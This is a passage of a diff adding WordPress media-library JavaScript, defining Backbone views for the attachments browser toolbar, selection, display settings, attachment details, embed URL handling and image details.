+					this.toolbar.set( 'deleteSelectedPermanentlyButton', new media.view.DeleteSelectedPermanentlyButton({
+						filters: Filters,
+						style: 'primary',
+						disabled: true,
+						text: l10n.deleteSelected,
+						controller: this.controller,
+						priority: -55,
+						click: function() {
+							var removed = [], selection = this.controller.state().get( 'selection' );
+
+							if ( ! selection.length || ! confirm( l10n.warnBulkDelete ) ) {
+								return;
+							}
+
+							selection.each( function( model ) {
+								if ( ! model.get( 'nonces' )['delete'] ) {
+									removed.push( model );
+									return;
+								}
+
+								model.destroy();
+							} );
+
+							selection.remove( removed );
+							this.controller.trigger( 'selection:action:done' );
+						}
+					}).render() );
+				}
+
+			} else if ( this.options.date ) {
+				// DateFilter is a <select>, screen reader text needs to be rendered before
+				this.toolbar.set( 'dateFilterLabel', new media.view.Label({
+					value: l10n.filterByDate,
+					attributes: {
+						'for': 'media-attachment-date-filters'
+					},
+					priority: -75
+				}).render() );
+				this.toolbar.set( 'dateFilter', new media.view.DateFilter({
+					controller: this.controller,
+					model:      this.collection.props,
+					priority: -75
+				}).render() );
+			}
+
+			if ( this.options.search ) {
+				// Search is an input, screen reader text needs to be rendered before
+				this.toolbar.set( 'searchLabel', new media.view.Label({
+					value: l10n.searchMediaLabel,
+					attributes: {
+						'for': 'media-search-input'
+					},
+					priority:   60
+				}).render() );
+				this.toolbar.set( 'search', new media.view.Search({
+					controller: this.controller,
+					model:      this.collection.props,
+					priority:   60
+				}).render() );
+			}
+
+			if ( this.options.dragInfo ) {
+				this.toolbar.set( 'dragInfo', new media.View({
+					el: $( '<div class="instructions">' + l10n.dragInfo + '</div>' )[0],
+					priority: -40
+				}) );
+			}
+
+			if ( this.options.suggestedWidth && this.options.suggestedHeight ) {
+				this.toolbar.set( 'suggestedDimensions', new media.View({
+					el: $( '<div class="instructions">' + l10n.suggestedDimensions + ' ' + this.options.suggestedWidth + ' &times; ' + this.options.suggestedHeight + '</div>' )[0],
+					priority: -40
+				}) );
+			}
+		},
+
+		updateContent: function() {
+			var view = this,
+				noItemsView;
+
+			if ( this.controller.isModeActive( 'grid' ) ) {
+				noItemsView = view.attachmentsNoResults;
+			} else {
+				noItemsView = view.uploader;
+			}
+
+			if ( ! this.collection.length ) {
+				this.toolbar.get( 'spinner' ).show();
+				this.dfd = this.collection.more().done( function() {
+					if ( ! view.collection.length ) {
+						noItemsView.$el.removeClass( 'hidden' );
+					} else {
+						noItemsView.$el.addClass( 'hidden' );
+					}
+					view.toolbar.get( 'spinner' ).hide();
+				} );
+			} else {
+				noItemsView.$el.addClass( 'hidden' );
+				view.toolbar.get( 'spinner' ).hide();
+			}
+		},
+
+		createUploader: function() {
+			this.uploader = new media.view.UploaderInline({
+				controller: this.controller,
+				status:     false,
+				message:    this.controller.isModeActive( 'grid' ) ? '' : l10n.noItemsFound,
+				canClose:   this.controller.isModeActive( 'grid' )
+			});
+
+			this.uploader.hide();
+			this.views.add( this.uploader );
+		},
+
+		toggleUploader: function() {
+			if ( this.uploader.$el.hasClass( 'hidden' ) ) {
+				this.uploader.show();
+			} else {
+				this.uploader.hide();
+			}
+		},
+
+		createAttachments: function() {
+			this.attachments = new media.view.Attachments({
+				controller:           this.controller,
+				collection:           this.collection,
+				selection:            this.options.selection,
+				model:                this.model,
+				sortable:             this.options.sortable,
+				scrollElement:        this.options.scrollElement,
+				idealColumnWidth:     this.options.idealColumnWidth,
+
+				// The single `Attachment` view to be used in the `Attachments` view.
+				AttachmentView: this.options.AttachmentView
+			});
+
+			// Add keydown listener to the instance of the Attachments view
+			this.attachments.listenTo( this.controller, 'attachment:keydown:arrow',     this.attachments.arrowEvent );
+			this.attachments.listenTo( this.controller, 'attachment:details:shift-tab', this.attachments.restoreFocus );
+
+			this.views.add( this.attachments );
+
+
+			if ( this.controller.isModeActive( 'grid' ) ) {
+				this.attachmentsNoResults = new media.View({
+					controller: this.controller,
+					tagName: 'p'
+				});
+
+				this.attachmentsNoResults.$el.addClass( 'hidden no-media' );
+				this.attachmentsNoResults.$el.html( l10n.noMedia );
+
+				this.views.add( this.attachmentsNoResults );
+			}
+		},
+
+		createSidebar: function() {
+			var options = this.options,
+				selection = options.selection,
+				sidebar = this.sidebar = new media.view.Sidebar({
+					controller: this.controller
+				});
+
+			this.views.add( sidebar );
+
+			if ( this.controller.uploader ) {
+				sidebar.set( 'uploads', new media.view.UploaderStatus({
+					controller: this.controller,
+					priority:   40
+				}) );
+			}
+
+			selection.on( 'selection:single', this.createSingle, this );
+			selection.on( 'selection:unsingle', this.disposeSingle, this );
+
+			if ( selection.single() ) {
+				this.createSingle();
+			}
+		},
+
+		createSingle: function() {
+			var sidebar = this.sidebar,
+				single = this.options.selection.single();
+
+			sidebar.set( 'details', new media.view.Attachment.Details({
+				controller: this.controller,
+				model:      single,
+				priority:   80
+			}) );
+
+			sidebar.set( 'compat', new media.view.AttachmentCompat({
+				controller: this.controller,
+				model:      single,
+				priority:   120
+			}) );
+
+			if ( this.options.display ) {
+				sidebar.set( 'display', new media.view.Settings.AttachmentDisplay({
+					controller:   this.controller,
+					model:        this.model.display( single ),
+					attachment:   single,
+					priority:     160,
+					userSettings: this.model.get('displayUserSettings')
+				}) );
+			}
+
+			// Show the sidebar on mobile
+			if ( this.model.id === 'insert' ) {
+				sidebar.$el.addClass( 'visible' );
+			}
+		},
+
+		disposeSingle: function() {
+			var sidebar = this.sidebar;
+			sidebar.unset('details');
+			sidebar.unset('compat');
+			sidebar.unset('display');
+			// Hide the sidebar on mobile
+			sidebar.$el.removeClass( 'visible' );
+		}
+	});
+
+	/**
+	 * wp.media.view.Selection
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Selection = media.View.extend({
+		tagName:   'div',
+		className: 'media-selection',
+		template:  media.template('media-selection'),
+
+		events: {
+			'click .edit-selection':  'edit',
+			'click .clear-selection': 'clear'
+		},
+
+		initialize: function() {
+			_.defaults( this.options, {
+				editable:  false,
+				clearable: true
+			});
+
+			/**
+			 * @member {wp.media.view.Attachments.Selection}
+			 */
+			this.attachments = new media.view.Attachments.Selection({
+				controller: this.controller,
+				collection: this.collection,
+				selection:  this.collection,
+				model:      new Backbone.Model()
+			});
+
+			this.views.set( '.selection-view', this.attachments );
+			this.collection.on( 'add remove reset', this.refresh, this );
+			this.controller.on( 'content:activate', this.refresh, this );
+		},
+
+		ready: function() {
+			this.refresh();
+		},
+
+		refresh: function() {
+			// If the selection hasn't been rendered, bail.
+			if ( ! this.$el.children().length ) {
+				return;
+			}
+
+			var collection = this.collection,
+				editing = 'edit-selection' === this.controller.content.mode();
+
+			// If nothing is selected, display nothing.
+			this.$el.toggleClass( 'empty', ! collection.length );
+			this.$el.toggleClass( 'one', 1 === collection.length );
+			this.$el.toggleClass( 'editing', editing );
+
+			this.$('.count').text( l10n.selected.replace('%d', collection.length) );
+		},
+
+		edit: function( event ) {
+			event.preventDefault();
+			if ( this.options.editable ) {
+				this.options.editable.call( this, this.collection );
+			}
+		},
+
+		clear: function( event ) {
+			event.preventDefault();
+			this.collection.reset();
+
+			// Keep focus inside media modal
+			// after clear link is selected
+			this.controller.modal.focusManager.focus();
+		}
+	});
+
+
+	/**
+	 * wp.media.view.Attachment.Selection
+	 *
+	 * @class
+	 * @augments wp.media.view.Attachment
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachment.Selection = media.view.Attachment.extend({
+		className: 'attachment selection',
+
+		// On click, just select the model, instead of removing the model from
+		// the selection.
+		toggleSelection: function() {
+			this.options.selection.single( this.model );
+		}
+	});
+
+	/**
+	 * wp.media.view.Attachments.Selection
+	 *
+	 * @class
+	 * @augments wp.media.view.Attachments
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachments.Selection = media.view.Attachments.extend({
+		events: {},
+		initialize: function() {
+			_.defaults( this.options, {
+				sortable:   false,
+				resize:     false,
+
+				// The single `Attachment` view to be used in the `Attachments` view.
+				AttachmentView: media.view.Attachment.Selection
+			});
+			// Call 'initialize' directly on the parent class.
+			return media.view.Attachments.prototype.initialize.apply( this, arguments );
+		}
+	});
+
+	/**
+	 * wp.media.view.Attachments.EditSelection
+	 *
+	 * @class
+	 * @augments wp.media.view.Attachment.Selection
+	 * @augments wp.media.view.Attachment
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachment.EditSelection = media.view.Attachment.Selection.extend({
+		buttons: {
+			close: true
+		}
+	});
+
+
+	/**
+	 * wp.media.view.Settings
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Settings = media.View.extend({
+		events: {
+			'click button':    'updateHandler',
+			'change input':    'updateHandler',
+			'change select':   'updateHandler',
+			'change textarea': 'updateHandler'
+		},
+
+		initialize: function() {
+			this.model = this.model || new Backbone.Model();
+			this.model.on( 'change', this.updateChanges, this );
+		},
+
+		prepare: function() {
+			return _.defaults({
+				model: this.model.toJSON()
+			}, this.options );
+		},
+		/**
+		 * @returns {wp.media.view.Settings} Returns itself to allow chaining
+		 */
+		render: function() {
+			media.View.prototype.render.apply( this, arguments );
+			// Select the correct values.
+			_( this.model.attributes ).chain().keys().each( this.update, this );
+			return this;
+		},
+		/**
+		 * @param {string} key
+		 */
+		update: function( key ) {
+			var value = this.model.get( key ),
+				$setting = this.$('[data-setting="' + key + '"]'),
+				$buttons, $value;
+
+			// Bail if we didn't find a matching setting.
+			if ( ! $setting.length ) {
+				return;
+			}
+
+			// Attempt to determine how the setting is rendered and update
+			// the selected value.
+
+			// Handle dropdowns.
+			if ( $setting.is('select') ) {
+				$value = $setting.find('[value="' + value + '"]');
+
+				if ( $value.length ) {
+					$setting.find('option').prop( 'selected', false );
+					$value.prop( 'selected', true );
+				} else {
+					// If we can't find the desired value, record what *is* selected.
+					this.model.set( key, $setting.find(':selected').val() );
+				}
+
+			// Handle button groups.
+			} else if ( $setting.hasClass('button-group') ) {
+				$buttons = $setting.find('button').removeClass('active');
+				$buttons.filter( '[value="' + value + '"]' ).addClass('active');
+
+			// Handle text inputs and textareas.
+			} else if ( $setting.is('input[type="text"], textarea') ) {
+				if ( ! $setting.is(':focus') ) {
+					$setting.val( value );
+				}
+			// Handle checkboxes.
+			} else if ( $setting.is('input[type="checkbox"]') ) {
+				$setting.prop( 'checked', !! value && 'false' !== value );
+			}
+		},
+		/**
+		 * @param {Object} event
+		 */
+		updateHandler: function( event ) {
+			var $setting = $( event.target ).closest('[data-setting]'),
+				value = event.target.value,
+				userSetting;
+
+			event.preventDefault();
+
+			if ( ! $setting.length ) {
+				return;
+			}
+
+			// Use the correct value for checkboxes.
+			if ( $setting.is('input[type="checkbox"]') ) {
+				value = $setting[0].checked;
+			}
+
+			// Update the corresponding setting.
+			this.model.set( $setting.data('setting'), value );
+
+			// If the setting has a corresponding user setting,
+			// update that as well.
+			if ( userSetting = $setting.data('userSetting') ) {
+				setUserSetting( userSetting, value );
+			}
+		},
+
+		updateChanges: function( model ) {
+			if ( model.hasChanged() ) {
+				_( model.changed ).chain().keys().each( this.update, this );
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.Settings.AttachmentDisplay
+	 *
+	 * @class
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Settings.AttachmentDisplay = media.view.Settings.extend({
+		className: 'attachment-display-settings',
+		template:  media.template('attachment-display-settings'),
+
+		initialize: function() {
+			var attachment = this.options.attachment;
+
+			_.defaults( this.options, {
+				userSettings: false
+			});
+			// Call 'initialize' directly on the parent class.
+			media.view.Settings.prototype.initialize.apply( this, arguments );
+			this.model.on( 'change:link', this.updateLinkTo, this );
+
+			if ( attachment ) {
+				attachment.on( 'change:uploading', this.render, this );
+			}
+		},
+
+		dispose: function() {
+			var attachment = this.options.attachment;
+			if ( attachment ) {
+				attachment.off( null, null, this );
+			}
+			/**
+			 * call 'dispose' directly on the parent class
+			 */
+			media.view.Settings.prototype.dispose.apply( this, arguments );
+		},
+		/**
+		 * @returns {wp.media.view.AttachmentDisplay} Returns itself to allow chaining
+		 */
+		render: function() {
+			var attachment = this.options.attachment;
+			if ( attachment ) {
+				_.extend( this.options, {
+					sizes: attachment.get('sizes'),
+					type:  attachment.get('type')
+				});
+			}
+			/**
+			 * call 'render' directly on the parent class
+			 */
+			media.view.Settings.prototype.render.call( this );
+			this.updateLinkTo();
+			return this;
+		},
+
+		updateLinkTo: function() {
+			var linkTo = this.model.get('link'),
+				$input = this.$('.link-to-custom'),
+				attachment = this.options.attachment;
+
+			if ( 'none' === linkTo || 'embed' === linkTo || ( ! attachment && 'custom' !== linkTo ) ) {
+				$input.addClass( 'hidden' );
+				return;
+			}
+
+			if ( attachment ) {
+				if ( 'post' === linkTo ) {
+					$input.val( attachment.get('link') );
+				} else if ( 'file' === linkTo ) {
+					$input.val( attachment.get('url') );
+				} else if ( ! this.model.get('linkUrl') ) {
+					$input.val('http://');
+				}
+
+				$input.prop( 'readonly', 'custom' !== linkTo );
+			}
+
+			$input.removeClass( 'hidden' );
+
+			// If the input is visible, focus and select its contents.
+			if ( ! isTouchDevice && $input.is(':visible') ) {
+				$input.focus()[0].select();
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.Settings.Gallery
+	 *
+	 * @class
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Settings.Gallery = media.view.Settings.extend({
+		className: 'collection-settings gallery-settings',
+		template:  media.template('gallery-settings')
+	});
+
+	/**
+	 * wp.media.view.Settings.Playlist
+	 *
+	 * @class
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Settings.Playlist = media.view.Settings.extend({
+		className: 'collection-settings playlist-settings',
+		template:  media.template('playlist-settings')
+	});
+
+	/**
+	 * wp.media.view.Attachment.Details
+	 *
+	 * @class
+	 * @augments wp.media.view.Attachment
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Attachment.Details = media.view.Attachment.extend({
+		tagName:   'div',
+		className: 'attachment-details',
+		template:  media.template('attachment-details'),
+
+		attributes: function() {
+			return {
+				'tabIndex':     0,
+				'data-id':      this.model.get( 'id' )
+			};
+		},
+
+		events: {
+			'change [data-setting]':          'updateSetting',
+			'change [data-setting] input':    'updateSetting',
+			'change [data-setting] select':   'updateSetting',
+			'change [data-setting] textarea': 'updateSetting',
+			'click .delete-attachment':       'deleteAttachment',
+			'click .trash-attachment':        'trashAttachment',
+			'click .untrash-attachment':      'untrashAttachment',
+			'click .edit-attachment':         'editAttachment',
+			'click .refresh-attachment':      'refreshAttachment',
+			'keydown':                        'toggleSelectionHandler'
+		},
+
+		initialize: function() {
+			this.options = _.defaults( this.options, {
+				rerenderOnModelChange: false
+			});
+
+			this.on( 'ready', this.initialFocus );
+			// Call 'initialize' directly on the parent class.
+			media.view.Attachment.prototype.initialize.apply( this, arguments );
+		},
+
+		initialFocus: function() {
+			if ( ! isTouchDevice ) {
+				this.$( ':input' ).eq( 0 ).focus();
+			}
+		},
+		/**
+		 * @param {Object} event
+		 */
+		deleteAttachment: function( event ) {
+			event.preventDefault();
+
+			if ( confirm( l10n.warnDelete ) ) {
+				this.model.destroy();
+				// Keep focus inside media modal
+				// after image is deleted
+				this.controller.modal.focusManager.focus();
+			}
+		},
+		/**
+		 * @param {Object} event
+		 */
+		trashAttachment: function( event ) {
+			var library = this.controller.library;
+			event.preventDefault();
+
+			if ( media.view.settings.mediaTrash &&
+				'edit-metadata' === this.controller.content.mode() ) {
+
+				this.model.set( 'status', 'trash' );
+				this.model.save().done( function() {
+					library._requery( true );
+				} );
+			}  else {
+				this.model.destroy();
+			}
+		},
+		/**
+		 * @param {Object} event
+		 */
+		untrashAttachment: function( event ) {
+			var library = this.controller.library;
+			event.preventDefault();
+
+			this.model.set( 'status', 'inherit' );
+			this.model.save().done( function() {
+				library._requery( true );
+			} );
+		},
+		/**
+		 * @param {Object} event
+		 */
+		editAttachment: function( event ) {
+			var editState = this.controller.states.get( 'edit-image' );
+			if ( window.imageEdit && editState ) {
+				event.preventDefault();
+
+				editState.set( 'image', this.model );
+				this.controller.setState( 'edit-image' );
+			} else {
+				this.$el.addClass('needs-refresh');
+			}
+		},
+		/**
+		 * @param {Object} event
+		 */
+		refreshAttachment: function( event ) {
+			this.$el.removeClass('needs-refresh');
+			event.preventDefault();
+			this.model.fetch();
+		},
+		/**
+		 * When reverse tabbing(shift+tab) out of the right details panel, deliver
+		 * the focus to the item in the list that was being edited.
+		 *
+		 * @param {Object} event
+		 */
+		toggleSelectionHandler: function( event ) {
+			if ( 'keydown' === event.type && 9 === event.keyCode && event.shiftKey && event.target === this.$( ':tabbable' ).get( 0 ) ) {
+				this.controller.trigger( 'attachment:details:shift-tab', event );
+				return false;
+			}
+
+			if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) {
+				this.controller.trigger( 'attachment:keydown:arrow', event );
+				return;
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.AttachmentCompat
+	 *
+	 * A view to display fields added via the `attachment_fields_to_edit` filter.
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.AttachmentCompat = media.View.extend({
+		tagName:   'form',
+		className: 'compat-item',
+
+		events: {
+			'submit':          'preventDefault',
+			'change input':    'save',
+			'change select':   'save',
+			'change textarea': 'save'
+		},
+
+		initialize: function() {
+			this.model.on( 'change:compat', this.render, this );
+		},
+		/**
+		 * @returns {wp.media.view.AttachmentCompat} Returns itself to allow chaining
+		 */
+		dispose: function() {
+			if ( this.$(':focus').length ) {
+				this.save();
+			}
+			/**
+			 * call 'dispose' directly on the parent class
+			 */
+			return media.View.prototype.dispose.apply( this, arguments );
+		},
+		/**
+		 * @returns {wp.media.view.AttachmentCompat} Returns itself to allow chaining
+		 */
+		render: function() {
+			var compat = this.model.get('compat');
+			if ( ! compat || ! compat.item ) {
+				return;
+			}
+
+			this.views.detach();
+			this.$el.html( compat.item );
+			this.views.render();
+			return this;
+		},
+		/**
+		 * @param {Object} event
+		 */
+		preventDefault: function( event ) {
+			event.preventDefault();
+		},
+		/**
+		 * @param {Object} event
+		 */
+		save: function( event ) {
+			var data = {};
+
+			if ( event ) {
+				event.preventDefault();
+			}
+
+			_.each( this.$el.serializeArray(), function( pair ) {
+				data[ pair.name ] = pair.value;
+			});
+
+			this.controller.trigger( 'attachment:compat:waiting', ['waiting'] );
+			this.model.saveCompat( data ).always( _.bind( this.postSave, this ) );
+		},
+
+		postSave: function() {
+			this.controller.trigger( 'attachment:compat:ready', ['ready'] );
+		}
+	});
+
+	/**
+	 * wp.media.view.Iframe
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Iframe = media.View.extend({
+		className: 'media-iframe',
+		/**
+		 * @returns {wp.media.view.Iframe} Returns itself to allow chaining
+		 */
+		render: function() {
+			this.views.detach();
+			this.$el.html( '<iframe src="' + this.controller.state().get('src') + '" />' );
+			this.views.render();
+			return this;
+		}
+	});
+
+	/**
+	 * wp.media.view.Embed
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Embed = media.View.extend({
+		className: 'media-embed',
+
+		initialize: function() {
+			/**
+			 * @member {wp.media.view.EmbedUrl}
+			 */
+			this.url = new media.view.EmbedUrl({
+				controller: this.controller,
+				model:      this.model.props
+			}).render();
+
+			this.views.set([ this.url ]);
+			this.refresh();
+			this.model.on( 'change:type', this.refresh, this );
+			this.model.on( 'change:loading', this.loading, this );
+		},
+
+		/**
+		 * @param {Object} view
+		 */
+		settings: function( view ) {
+			if ( this._settings ) {
+				this._settings.remove();
+			}
+			this._settings = view;
+			this.views.add( view );
+		},
+
+		refresh: function() {
+			var type = this.model.get('type'),
+				constructor;
+
+			if ( 'image' === type ) {
+				constructor = media.view.EmbedImage;
+			} else if ( 'link' === type ) {
+				constructor = media.view.EmbedLink;
+			} else {
+				return;
+			}
+
+			this.settings( new constructor({
+				controller: this.controller,
+				model:      this.model.props,
+				priority:   40
+			}) );
+		},
+
+		loading: function() {
+			this.$el.toggleClass( 'embed-loading', this.model.get('loading') );
+		}
+	});
+
+	/**
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Label = media.View.extend({
+		tagName: 'label',
+		className: 'screen-reader-text',
+
+		initialize: function() {
+			this.value = this.options.value;
+		},
+
+		render: function() {
+			this.$el.html( this.value );
+
+			return this;
+		}
+	});
+
+	/**
+	 * wp.media.view.EmbedUrl
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.EmbedUrl = media.View.extend({
+		tagName:   'label',
+		className: 'embed-url',
+
+		events: {
+			'input':  'url',
+			'keyup':  'url',
+			'change': 'url'
+		},
+
+		initialize: function() {
+			var self = this;
+
+			this.$input = $('<input id="embed-url-field" type="url" />').val( this.model.get('url') );
+			this.input = this.$input[0];
+
+			this.spinner = $('<span class="spinner" />')[0];
+			this.$el.append([ this.input, this.spinner ]);
+
+			this.model.on( 'change:url', this.render, this );
+
+			if ( this.model.get( 'url' ) ) {
+				_.delay( function () {
+					self.model.trigger( 'change:url' );
+				}, 500 );
+			}
+		},
+		/**
+		 * @returns {wp.media.view.EmbedUrl} Returns itself to allow chaining
+		 */
+		render: function() {
+			var $input = this.$input;
+
+			if ( $input.is(':focus') ) {
+				return;
+			}
+
+			this.input.value = this.model.get('url') || 'http://';
+			/**
+			 * Call `render` directly on parent class with passed arguments
+			 */
+			media.View.prototype.render.apply( this, arguments );
+			return this;
+		},
+
+		ready: function() {
+			if ( ! isTouchDevice ) {
+				this.focus();
+			}
+		},
+
+		url: function( event ) {
+			this.model.set( 'url', event.target.value );
+		},
+
+		/**
+		 * If the input is visible, focus and select its contents.
+		 */
+		focus: function() {
+			var $input = this.$input;
+			if ( $input.is(':visible') ) {
+				$input.focus()[0].select();
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.EmbedLink
+	 *
+	 * @class
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.EmbedLink = media.view.Settings.extend({
+		className: 'embed-link-settings',
+		template:  media.template('embed-link-settings'),
+
+		initialize: function() {
+			this.spinner = $('<span class="spinner" />');
+			this.$el.append( this.spinner[0] );
+			this.listenTo( this.model, 'change:url', this.updateoEmbed );
+		},
+
+		updateoEmbed: function() {
+			var url = this.model.get( 'url' );
+
+			this.$('.setting.title').show();
+			// clear out previous results
+			this.$('.embed-container').hide().find('.embed-preview').html('');
+
+			// only proceed with embed if the field contains more than 6 characters
+			if ( url && url.length < 6 ) {
+				return;
+			}
+
+			this.spinner.show();
+
+			setTimeout( _.bind( this.fetch, this ), 500 );
+		},
+
+		fetch: function() {
+			// check if they haven't typed in 500 ms
+			if ( $('#embed-url-field').val() !== this.model.get('url') ) {
+				return;
+			}
+
+			wp.ajax.send( 'parse-embed', {
+				data : {
+					post_ID: media.view.settings.post.id,
+					shortcode: '[embed]' + this.model.get('url') + '[/embed]'
+				}
+			} ).done( _.bind( this.renderoEmbed, this ) );
+		},
+
+		renderoEmbed: function( response ) {
+			var html = ( response && response.body ) || '';
+
+			this.spinner.hide();
+
+			this.$('.setting.title').hide();
+			this.$('.embed-container').show().find('.embed-preview').html( html );
+		}
+	});
+
+	/**
+	 * wp.media.view.EmbedImage
+	 *
+	 * @class
+	 * @augments wp.media.view.Settings.AttachmentDisplay
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.EmbedImage =  media.view.Settings.AttachmentDisplay.extend({
+		className: 'embed-media-settings',
+		template:  media.template('embed-image-settings'),
+
+		initialize: function() {
+			/**
+			 * Call `initialize` directly on parent class with passed arguments
+			 */
+			media.view.Settings.AttachmentDisplay.prototype.initialize.apply( this, arguments );
+			this.model.on( 'change:url', this.updateImage, this );
+		},
+
+		updateImage: function() {
+			this.$('img').attr( 'src', this.model.get('url') );
+		}
+	});
+
+	/**
+	 * wp.media.view.ImageDetails
+	 *
+	 * @class
+	 * @augments wp.media.view.Settings.AttachmentDisplay
+	 * @augments wp.media.view.Settings
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.ImageDetails = media.view.Settings.AttachmentDisplay.extend({
+		className: 'image-details',
+		template:  media.template('image-details'),
+		events: _.defaults( media.view.Settings.AttachmentDisplay.prototype.events, {
+			'click .edit-attachment': 'editAttachment',
+			'click .replace-attachment': 'replaceAttachment',
+			'click .advanced-toggle': 'onToggleAdvanced',
+			'change [data-setting="customWidth"]': 'onCustomSize',
+			'change [data-setting="customHeight"]': 'onCustomSize',
+			'keyup [data-setting="customWidth"]': 'onCustomSize',
+			'keyup [data-setting="customHeight"]': 'onCustomSize'
+		} ),
+		initialize: function() {
+			// used in AttachmentDisplay.prototype.updateLinkTo
+			this.options.attachment = this.model.attachment;
+			this.listenTo( this.model, 'change:url', this.updateUrl );
+			this.listenTo( this.model, 'change:link', this.toggleLinkSettings );
+			this.listenTo( this.model, 'change:size', this.toggleCustomSize );
+
+			media.view.Settings.AttachmentDisplay.prototype.initialize.apply( this, arguments );
+		},
+
+		prepare: function() {
+			var attachment = false;
+
+			if ( this.model.attachment ) {
+				attachment = this.model.attachment.toJSON();
+			}
+			return _.defaults({
+				model: this.model.toJSON(),
+				attachment: attachment
+			}, this.options );
+		},
+
+		render: function() {
+			var self = this,
+				args = arguments;
+
+			if ( this.model.attachment && 'pending' === this.model.dfd.state() ) {
+				this.model.dfd.done( function() {
+					media.view.Settings.AttachmentDisplay.prototype.render.apply( self, args );
+					self.postRender();
+				} ).fail( function() {
+					self.model.attachment = false;
+					media.view.Settings.AttachmentDisplay.prototype.render.apply( self, args );
+					self.postRender();
+				} );
+			} else {
+				media.view.Settings.AttachmentDisplay.prototype.render.apply( this, arguments );
+				this.postRender();
+			}
+
+			return this;
+		},
+
+		postRender: function() {
+			setTimeout( _.bind( this.resetFocus, this ), 10 );
+			this.toggleLinkSettings();
+			if ( getUserSetting( 'advImgDetails' ) === 'show' ) {
+				this.toggleAdvanced( true );
+			}
+			this.trigger( 'post-render' );
+		},
+
+		resetFocus: function() {
+			this.$( '.link-to-custom' ).blur();
+			this.$( '.embed-media-settings' ).scrollTop( 0 );
+		},
+
+		updateUrl: function() {
+			this.$( '.image img' ).attr( 'src', this.model.get( 'url' ) );
+			this.$( '.url' ).val( this.model.get( 'url' ) );
+		},
+
+		toggleLinkSettings: function() {
+			if ( this.model.get( 'link' ) === 'none' ) {
+				this.$( '.link-settings' ).addClass('hidden');
+			} else {
+				this.$( '.link-settings' ).removeClass('hidden');
+			}
+		},
+
+		toggleCustomSize: function() {
+			if ( this.model.get( 'size' ) !== 'custom' ) {
+				this.$( '.custom-size' ).addClass('hidden');
+			} else {
+				this.$( '.custom-size' ).removeClass('hidden');
+			}
+		},
+
+		onCustomSize: function( event ) {
+			var dimension = $( event.target ).data('setting'),
+				num = $( event.target ).val(),
+				value;
+
+			// Ignore bogus input
+			if ( ! /^\d+/.test( num ) || parseInt( num, 10 ) < 1 ) {
+				event.preventDefault();
+				return;
+			}
+
+			if ( dimension === 'customWidth' ) {
+				value = Math.round( 1 / this.model.get( 'aspectRatio' ) * num );
+				this.model.set( 'customHeight', value, { silent: true } );
+				this.$( '[data-setting="customHeight"]' ).val( value );
+			} else {
+				value = Math.round( this.model.get( 'aspectRatio' ) * num );
+				this.model.set( 'customWidth', value, { silent: true  } );
+				this.$( '[data-setting="customWidth"]' ).val( value );
+			}
+		},
+
+		onToggleAdvanced: function( event ) {
+			event.preventDefault();
+			this.toggleAdvanced();
+		},
+
+		toggleAdvanced: function( show ) {
+			var $advanced = this.$el.find( '.advanced-section' ),
+				mode;
+
+			if ( $advanced.hasClass('advanced-visible') || show === false ) {
+				$advanced.removeClass('advanced-visible');
+				$advanced.find('.advanced-settings').addClass('hidden');
+				mode = 'hide';
+			} else {
+				$advanced.addClass('advanced-visible');
+				$advanced.find('.advanced-settings').removeClass('hidden');
+				mode = 'show';
+			}
+
+			setUserSetting( 'advImgDetails', mode );
+		},
+
+		editAttachment: function( event ) {
+			var editState = this.controller.states.get( 'edit-image' );
+
+			if ( window.imageEdit && editState ) {
+				event.preventDefault();
+				editState.set( 'image', this.model.attachment );
+				this.controller.setState( 'edit-image' );
+			}
+		},
+
+		replaceAttachment: function( event ) {
+			event.preventDefault();
+			this.controller.setState( 'replace-image' );
+		}
+	});
+
+	/**
+	 * wp.media.view.Cropper
+	 *
+	 * Uses the imgAreaSelect plugin to allow a user to crop an image.
+	 *
+	 * Takes imgAreaSelect options from
+	 * wp.customize.HeaderControl.calculateImageSelectOptions via
+	 * wp.customize.HeaderControl.openMM.
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Cropper = media.View.extend({
+		className: 'crop-content',
+		template: media.template('crop-content'),
+		initialize: function() {
